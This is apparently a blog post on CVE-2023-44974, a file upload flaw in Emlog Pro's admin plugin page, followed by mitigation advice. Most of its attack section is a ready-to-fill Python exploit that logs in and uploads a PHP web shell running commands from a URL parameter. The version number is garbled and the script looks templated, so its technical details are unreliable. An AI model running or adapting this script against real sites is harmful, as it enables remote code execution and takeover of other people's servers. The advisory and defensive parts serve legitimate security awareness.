CVE-2023-44974 – Arbitrary File Upload Vulnerability in Emlog Pro v2.2.: How Attackers Can Execute Arbitrary Code

Emlog Pro is a popular blogging platform that allows users to create and manage their blogs effortlessly. However, a recent vulnerability has been discovered in its v2.2. which, if exploited, can allow attackers to execute arbitrary code on the affected system. Identified as CVE-2023-44974, this arbitrary file upload vulnerability is found in the component /admin/plugin.php of Emlog Pro v2.2..

This blog post aims to provide you with detailed information about this critical vulnerability, including a code snippet, links to original references, and the exploit details.

Vulnerability Details

An arbitrary file upload vulnerability exists in the component /admin/plugin.php of Emlog Pro v2.2.. Attackers can exploit this vulnerability by uploading a specially crafted PHP file, which can subsequently execute arbitrary code on the target system.

Exploiting this vulnerability can have severe consequences, as it might give unauthorized access to the attacker, causing data loss, data manipulation, and system malfunction. Therefore, it is crucial for Emlog Pro users to be aware of this vulnerability and take necessary precautions.

The following code snippet demonstrates a proof-of-concept exploit for CVE-2023-44974

import requests

target_url = "http://TARGET-URL/admin/plugin.php";
login_url = "http://TARGET-URL/admin/login.php";
username = "USERNAME"
password = "PASSWORD"

payload_filename = "malicious_payload.php"
payload_content = "<?php system($_GET['cmd']); ?>"

data = {
    'user': username,
    'pw': password,
    'submit': 'Login'
}

# Authenticate and obtain session
session = requests.Session()
session.post(login_url, data=data)

# Upload malicious payload
files = {
    'plub': (payload_filename, payload_content)
}
data = {
    'action': 'pluupload'
}
response = session.post(target_url, data=data, files=files)

# Check if exploit is successful
if response.status_code == 200:
    print("Exploit successful!")
else:
    print("Exploit failed.")

Replace the "TARGET-URL", "USERNAME", and "PASSWORD" with the appropriate values for the target system.

Original References

1. CVE Details: https://www.cvedetails.com/cve/CVE-2023-44974/
2. Emlog Pro (official website): https://www.emlog.net/
3. Vulnerability Repository: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-44974

Solution and Recommendations

To protect your Emlog Pro installation from this vulnerability, implement the following recommendations:

1. Update Emlog Pro to the latest version: Upgrade your Emlog Pro installation to the most recent version available on the official website (https://www.emlog.net/).

2. Restrict access to sensitive directories: Limit access to the /admin/ directory by implementing proper access control mechanisms like IP whitelisting or password protection.

3. Monitor application logs: Regularly review Emlog Pro's logs to detect any suspicious activities or unauthorized access attempts.

4. Use security plugins: Emlog Pro offers a variety of security-related plugins that help improve the overall security posture of the platform. Evaluate the available plugins and install the ones that are most suitable for your specific requirements.

Conclusion

The CVE-2023-44974 arbitrary file upload vulnerability in Emlog Pro v2.2. is a critical issue that can lead to significant consequences if left unaddressed. This blog post provided a comprehensive overview of the vulnerability, including a code snippet, original references, and exploit details. By following the recommended solutions, Emlog Pro users can safeguard their installation and prevent possible exploitation.

Timeline

Published on: 10/03/2023 21:15:10 UTC
Last modified on: 10/05/2023 15:17:48 UTC